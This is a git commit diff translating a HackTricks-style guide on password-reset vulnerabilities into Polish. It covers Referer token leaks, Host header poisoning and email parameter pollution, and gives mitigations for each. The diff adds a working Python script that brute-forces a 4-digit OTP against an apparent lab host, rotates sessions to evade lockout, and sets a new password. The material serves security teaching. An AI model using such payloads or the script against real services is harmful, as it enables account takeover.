Translated ['src/pentesting-web/reset-password.md'] to pl

This commit is contained in:
Translator 2025-04-13 14:42:56 +00:00
parent 7dcb35eae9
commit de35ae2660

View File

@ -2,24 +2,24 @@
{{#include ../banners/hacktricks-training.md}}
## **Wyciekanie Tokena Resetowania Hasła Poprzez Referer**
## **Wycieki Tokenów Resetowania Hasła Poprzez Referer**
- Nagłówek HTTP referer może wyciekać token resetowania hasła, jeśli jest zawarty w URL. Może to nastąpić, gdy użytkownik kliknie link do strony trzeciej po zażądaniu resetowania hasła.
- Nagłówek HTTP referer może ujawniać token resetowania hasła, jeśli jest zawarty w URL. Może to nastąpić, gdy użytkownik kliknie link do strony trzeciej po zażądaniu resetowania hasła.
- **Wpływ**: Potencjalne przejęcie konta za pomocą ataków Cross-Site Request Forgery (CSRF).
- **Eksploatacja**: Aby sprawdzić, czy token resetowania hasła wycieka w nagłówku referer, **zażądaj resetowania hasła** na swój adres e-mail i **kliknij link resetujący**. **Nie zmieniaj hasła** od razu. Zamiast tego, **przejdź do strony trzeciej** (takiej jak Facebook lub Twitter), jednocześnie **przechwytując żądania za pomocą Burp Suite**. Sprawdź żądania, aby zobaczyć, czy **nagłówek referer zawiera token resetowania hasła**, ponieważ może to ujawnić wrażliwe informacje osobom trzecim.
- **Odnośniki**:
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
- [Artykuł o Wycieku Tokena Resetowania Hasła](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
- [Artykuł o Wycieku Tokenów Resetowania Hasła](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
## **Zatrucie Resetowania Hasła**
- Atakujący mogą manipulować nagłówkiem Host podczas żądań resetowania hasła, aby skierować link resetujący na złośliwą stronę.
- **Wpływ**: Prowadzi do potencjalnego przejęcia konta poprzez wyciek tokenów resetowania do atakujących.
- Atakujący mogą manipulować nagłówkiem Host podczas żądań resetowania hasła, aby skierować link resetujący do złośliwej strony.
- **Wpływ**: Prowadzi do potencjalnego przejęcia konta poprzez ujawnienie tokenów resetowania atakującym.
- **Kroki łagodzące**:
- Waliduj nagłówek Host w porównaniu do białej listy dozwolonych domen.
- Używaj bezpiecznych, serwerowych metod do generowania absolutnych URL.
- **Łatka**: Użyj `$_SERVER['SERVER_NAME']` do konstruowania URL resetowania hasła zamiast `$_SERVER['HTTP_HOST']`.
- **Poprawka**: Użyj `$_SERVER['SERVER_NAME']` do konstruowania URL do resetowania hasła zamiast `$_SERVER['HTTP_HOST']`.
- **Odnośniki**:
- [Artykuł Acunetix o Zatruciu Resetowania Hasła](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
@ -33,7 +33,7 @@ POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
- Dodaj email atakującego jako drugi parametr używając %20
- Dodaj email atakującego jako drugi parametr, używając %20
```php
POST /resetPassword
[...]
@ -45,7 +45,7 @@ POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
- Dodaj email atakującego jako drugi parametr, używając cc
- Dodaj adres e-mail atakującego jako drugi parametr, używając cc
```php
POST /resetPassword
[...]
@ -71,7 +71,7 @@ POST /resetPassword
```
- **Kroki łagodzenia**:
- Prawidłowo analizuj i waliduj parametry e-mailowe po stronie serwera.
- Używaj przygotowanych instrukcji lub zapytań z parametrami, aby zapobiec atakom typu injection.
- Używaj przygotowanych zapytań lub zapytań z parametrami, aby zapobiec atakom typu injection.
- **Referencje**:
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
@ -88,12 +88,12 @@ POST /api/changepass
- **Kroki łagodzenia**:
- Zapewnij ścisłą walidację parametrów i kontrole uwierzytelniania.
- Wprowadź solidne logowanie i monitorowanie, aby wykrywać i reagować na podejrzane działania.
- **Referencja**:
- **Referencje**:
- [Pełne przejęcie konta za pomocą manipulacji parametrami API](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **Brak ograniczeń szybkości: Bombardowanie e-mailem**
- Brak ograniczeń szybkości w żądaniach resetowania hasła może prowadzić do bombardowania e-mailem, przytłaczając użytkownika e-mailami resetującymi.
- Brak ograniczeń szybkości w żądaniach resetowania hasła może prowadzić do bombardowania e-mailem, przytłaczając użytkownika wiadomościami o resetowaniu.
- **Kroki łagodzenia**:
- Wprowadź ograniczenia szybkości na podstawie adresu IP lub konta użytkownika.
- Użyj wyzwań CAPTCHA, aby zapobiec automatycznemu nadużywaniu.
@ -132,7 +132,7 @@ uuid-insecurities.md
- **Kroki łagodzenia**:
- Wprowadź kontrole po stronie serwera, aby zapewnić integralność odpowiedzi.
- Użyj bezpiecznych kanałów komunikacyjnych, takich jak HTTPS, aby zapobiec atakom typu man-in-the-middle.
- **Referencja**:
- **Referencje**:
- [Krytyczny błąd w wydarzeniu Live Bug Bounty](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **Używanie wygasłego tokena**
@ -166,6 +166,70 @@ uuid-insecurities.md
- **Kroki łagodzenia**:
- Ustaw rozsądny czas wygaśnięcia dla tokenów resetowania i ściśle egzekwuj go po stronie serwera.
## **Ominięcie limitu szybkości OTP poprzez zmianę sesji**
- Jeśli strona internetowa używa sesji użytkownika do śledzenia błędnych prób OTP, a OTP był słaby (<= 4 cyfry), to możemy skutecznie złamać OTP.
- **eksploatacja**:
- po prostu poproś o nowy token sesji po zablokowaniu przez serwer.
- **Przykład** kodu, który wykorzystuje ten błąd, zgadując losowo OTP (gdy zmienisz sesję, OTP również się zmieni, więc nie będziemy mogli go łamać sekwencyjnie!):
``` python
# Ominięcie uwierzytelniania przez reset hasła
# autor coderMohammed
import requests
import random
from time import sleep
headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"
parms = dict()
ter = 0
phpsessid = ""
print("[+] Rozpoczynanie ataku!")
sleep(3)
print("[+] To może zająć około 5 minut!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # losowa liczba od 0 do 9999 z 4 cyframi
parms["s"] = 164 # nieistotne, wpływa tylko na frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # liczba prób
out = requests.get(logout,headers=headers) # wylogowuje cię
mainp = requests.get(root) # pobiera inny phpssid (token)
cookies = out.cookies # wyciąga sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" # aktualizuje nagłówki z nową sesją
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # wysyła e-mail do zmiany hasła
ter = 0 # resetuje ter, aby uzyskać nową sesję po 8 próbach
else:
ter += 1
if(len(res.text) == 2292): # to jest długość strony, gdy poprawnie uzyskasz kod odzyskiwania (uzyskane przez testowanie)
print(len(res.text)) # dla informacji debugowania
print(phpsessid)
reset_data = { # tutaj zmienimy hasło na coś nowego
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] Hasło zostało zmienione na: D37djkamd!")
break
except Exception as e:
print("[+] Atak zatrzymany")
```
## Referencje
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)